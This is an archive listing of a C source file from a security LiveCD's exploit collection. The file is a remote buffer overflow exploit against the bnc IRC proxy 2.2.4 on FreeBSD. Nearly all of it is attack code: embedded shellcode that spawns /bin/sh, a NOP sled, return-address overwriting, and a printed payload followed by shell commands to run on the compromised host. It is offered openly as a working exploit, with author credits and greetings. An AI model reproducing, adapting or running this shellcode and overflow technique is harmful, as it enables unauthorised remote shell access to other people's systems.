home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bnc / bnc-vanity.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  47 lines

  1. /*
  2.    Remote exploit example for bnc (Irc Proxy v2.2.4 by James Seter)
  3.    by duke (duke@viper.net.au)
  4.    32sep98 FreeBSD version by stran9er
  5.  
  6.    Greet to
  7.    !@$@$A#%$#@!D%$#@!$#M@%%$@%c$!@$#!r!%$@e@$!#$#%w$@#$@#!!!#@$#$%
  8. */
  9.  
  10. #include <stdio.h>
  11. #include <string.h>
  12. #include <sys/types.h>
  13.  
  14. #define ADDR  0xefbfd907
  15. #define RETPTR      1036
  16. #define BUFSIZE     1041
  17. #define SHELLOFFSET   23
  18.  
  19. char shellcode[] =
  20.   /* added by me dup(0);dup(0) */
  21.   "\xEB\x0B\\\x9Axxx\\\x07x\xC3\xEB\x05\xE8\xF9\377\377\377"
  22.   "\x5E\x33\xDb\x89\x5e\xF2\x88\x5e\xF7\x31\xC0\xB0\x29\x53"
  23.   "\xE8\xDE\xFF\xFF\xFF\x33\xC0\xB0\x29\xE8\xD5\xFF\xFF\xFF"
  24.   /* generic shellcode */
  25.   "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  26.   "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  27.   "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  28.   "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
  29.  
  30. void main (int argc, char **argv)
  31. {
  32.   char buf[BUFSIZE+5];
  33.   unsigned long int addr = ADDR;
  34.   int i;
  35.  
  36.   if (argc > 1) addr += atoi (argv[1]);
  37.   fprintf (stderr, "Using address: 0x%X\n", addr);
  38.  
  39.   memset (buf, 0x90, BUFSIZE);
  40.   for (i = RETPTR; i < BUFSIZE - 4; i += 4)
  41.     *(long *) &buf[i] = addr;
  42.   memcpy (buf + (RETPTR - sizeof(shellcode)) - SHELLOFFSET,
  43.           shellcode, strlen (shellcode));
  44.   buf[BUFSIZE]=0;
  45.   printf ("%s/usr/bin/uname -a\n/usr/bin/id\n/bin/pwd\n", buf);
  46. }
  47. /*                    www.hack.co.za              [2000]*/